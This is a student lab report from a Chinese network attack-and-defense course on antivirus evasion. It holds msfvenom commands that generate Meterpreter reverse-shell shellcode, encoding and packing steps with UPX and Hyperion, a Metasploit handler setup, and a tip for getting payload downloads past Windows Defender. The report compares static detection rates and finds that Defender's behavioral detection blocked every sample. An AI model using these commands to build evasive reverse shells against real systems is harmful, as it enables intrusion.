20242422 2026-2027-1 《网络与系统攻防技术》实验三实验报告
20242422 2026-2027-1 《网络与系统攻防技术》实验三 免杀技术实验报告
学号:20242422
1.基础知识
免杀是指通过对恶意代码进行变形、加密、封装等处理,使其能够绕过杀毒软件检测的技术。杀毒软件的核心检测机制分为三类:
- 静态特征检测:匹配病毒库中的特征码、文件哈希、字符串片段,是最基础的检测方式。
- 动态行为检测:监控程序运行时的行为,如内存申请、远程连接、系统调用等,识别恶意行为模式。
- 启发式检测:基于规则和机器学习判断程序的可疑程度。
常见免杀技术包括:多态编码器(如shikata_ga_nai,通过指令变换改变代码特征)、压缩壳(如UPX,压缩程序改变二进制结构)、加密壳(如Hyperion,加密程序体,运行时解密执行)、自定义Shellcode加载器(通过C语言等自行编写加载逻辑,隐藏恶意特征)。
本次实验使用VirScan在线多引擎平台做静态检测,使用Windows Defender做本地动态行为验证。
2.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
3.实验过程
3.1 Veil的安装


3.2 C语言Shellcode加载器制作与静态检测
- 使用msfvenom生成C格式的Meterpreter反向Shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.100 LPORT=4444 -f c

-
编写C语言加载器源码
20242422_loader.c,通过VirtualAlloc分配可执行内存,memcpy拷贝Shellcode后跳转执行。
![alt text]()
-
使用
i686-w64-mingw32-gcc交叉编译为Windows可执行文件20242422_shellcode_loader.exe。
![alt text]()
-
将文件上传至VirScan进行多引擎静态检测,记录检出结果。
![alt text]()
3.3 UPX压缩壳免杀测试
- 使用UPX压缩壳工具对原始C加载器进行加壳处理:
upx 20242422_shellcode_loader.exe -o upx_c_20242422.exe

- 加壳后文件体积缩小,二进制结构与原始文件产生明显差异。
- 上传VirScan检测,结果为7/48引擎检出,压缩壳可一定程度改变静态特征,降低部分引擎的检出率。
![alt text]()
3.4 Hyperion加密壳免杀测试
- 将原始C加载器复制到Hyperion工具目录,使用wine运行Hyperion对程序进行AES加密加壳:
sudo cp 20242422_shellcode_loader.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
sudo wine hyperion.exe -v 20242422_shellcode_loader.exe shellcode_c_hyp_20242422.exe

-
加壳完成后上传VirScan检测,结果为20/48引擎检出。
![alt text]()
-
结果分析:Hyperion加密壳自身的壳特征已被多数杀毒引擎收录,加壳后检出率反而上升,静态免杀效果不佳。
3.5 组合免杀技术测试
- 使用msfvenom结合shikata_ga_nai多态编码器,迭代5次编码生成C格式Shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.100 LPORT=4444 -f c -e x86/shikata_ga_nai -i 5

-
编写组合加载器源码
combine_20242422.c,交叉编译得到可执行文件combine_20242422.exe。
![alt text]()
-
上传VirScan检测,结果为5/48引擎检出,是本次所有方案中静态检出率最低的方案。
![alt text]()
3.6 Windows Defender本地动态查杀验证
- Kali端启动MSF监听,配置反向TCP载荷参数:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.64.100
set LPORT 4444
run

-
Windows靶机下载所有样本,使用Windows Defender进行静态扫描,并尝试运行载荷。
靶机建立会话后迅速关闭
![alt text]()
-
实验现象:所有样本运行时均被Windows Defender动态行为检测识别,告警为
Trojan:Win32/Meterpreter.RPZ!MTB,程序被拦截隔离,无法成功建立Meterpreter会话。
![alt text]()
-
结论:即使静态多引擎检出率很低,Windows Defender仍可通过行为检测识别恶意载荷,仅依靠静态免杀无法绕过动态防护。
4.问题及解决方案
问题1:Veil-Evasion工具下载安装失败,启动时报错找不到对应文件或依赖缺失
解决方案:Veil依赖Python、Ruby、mingw-w64、wine等多个组件,安装过程中易出现源下载失败、依赖包不完整的问题。可先执行sudo apt update更新软件源,再使用sudo apt install veil -y重新安装;若仍安装失败,可改用msfvenom结合自定义C语言Shellcode加载器的替代方案完成免杀载荷制作,同样满足实验要求。
问题2:复制文件到系统目录时提示Permission denied
解决方案:在命令前添加sudo提升权限,执行复制与加壳操作。
问题3:启动Python HTTP文件服务时提示Address already in use
解决方案:更换端口号(如8081、8082)重新启动服务,或使用lsof -i :端口号查找占用进程并终止。
问题4:Hyperion加壳过程中出现虚拟内存分配报错
解决方案:该报错不影响最终加壳结果,终端输出Done :-)即为加壳成功,生成的文件可正常使用。
问题5:靶机浏览器下载载荷时,文件直接被Windows Defender删除
解决方案:使用PowerShell命令行下载文件,或临时调整下载路径,下载完成后立即进行扫描与运行测试。
5.学习感悟、思考等
本次实验通过手动实现多种免杀技术并对比查杀效果,让我对恶意代码免杀的原理与局限性有了直观且深入的理解。
首先,不同免杀技术的静态效果差异十分明显:多态编码器结合自定义加载器的静态免杀效果最优,而加密壳因为自身特征被广泛收录,反而会提升检出率,说明免杀不是简单的“叠加技术就越强”。
其次,最核心的结论是静态免杀不等于动态免杀。现代杀毒软件早已不依赖单一的特征码匹配,而是结合静态特征、动态行为、启发式分析构建多层防护体系。本次实验中静态检出率最低的样本,在运行时依然被Windows Defender拦截,证明仅修改文件静态特征,很难绕过成熟的终端防护。
最后,免杀技术与杀毒技术是持续对抗演进的关系,单一免杀手段很容易被防护体系拦截。实战中的免杀需要结合进程注入、白利用、无文件攻击等更多高级技术,才能提升绕过防护的概率。本次实验也提升了我的动手实操能力,掌握了交叉编译、加壳、多引擎检测的完整流程,对网络攻防的对抗本质有了更深刻的认识。









浙公网安备 33010602011771号